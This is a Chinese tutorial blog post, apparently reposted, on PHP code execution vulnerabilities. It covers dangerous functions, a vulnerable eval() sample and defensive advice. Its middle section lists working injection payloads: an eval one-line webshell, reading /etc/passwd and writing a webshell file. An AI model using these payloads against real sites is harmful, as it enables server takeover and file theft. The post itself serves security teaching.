首页 > 其他 > 详细

代码执行漏洞

时间:2020-03-08 01:08:08      阅读:74      评论:0      收藏:0      [点我收藏+]

代码执行漏洞原理

当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个字符串,将造成代码注入漏洞。

 

简述代码执行漏洞:

PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。

 

常见的代码执行漏洞危险函数

在php中:eval,assert,preg_replace(‘/*/e‘,$ret="\\1";‘,$data);

在asp中:eval,exevute.executeglobal

在jsp中:jsp中没有php中的eval函数,但是可以使用反射机制,使用基于反射机制的表达式引擎,如0GNL,SpEL,MVEL等

 

代码执行漏洞危害

  • 执行任意代码
  • 向网站写WebShell
  • 控制整个网站甚至服务器

 

简单的代码执行实例:

简单的代码执行

技术分享图片

代码如下:

  1 <?php
  2    $data=$_GET[‘data‘];
  3    eval("\$ret=strtolower(\"$data\");");
  4    echo $ret;
  5 ?>

技术分享图片

构造利用

技术分享图片

 

其他可利用方式

{${@eval($_POST[1])}} 一句话

{${exit(print(getcwd()))}} 获取当前工作路径

{${exit(var_dump(file_get_contents($_POST[f])))}}

读文件 f=/etc/passwd

{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}

写webshell f=1.php&d=1111111

 

代码执行漏洞防御:

  1. 对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
  2. 对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes().
  3. 对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

代码执行漏洞

原文:https://www.cnblogs.com/LeeeBoom/p/12439342.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!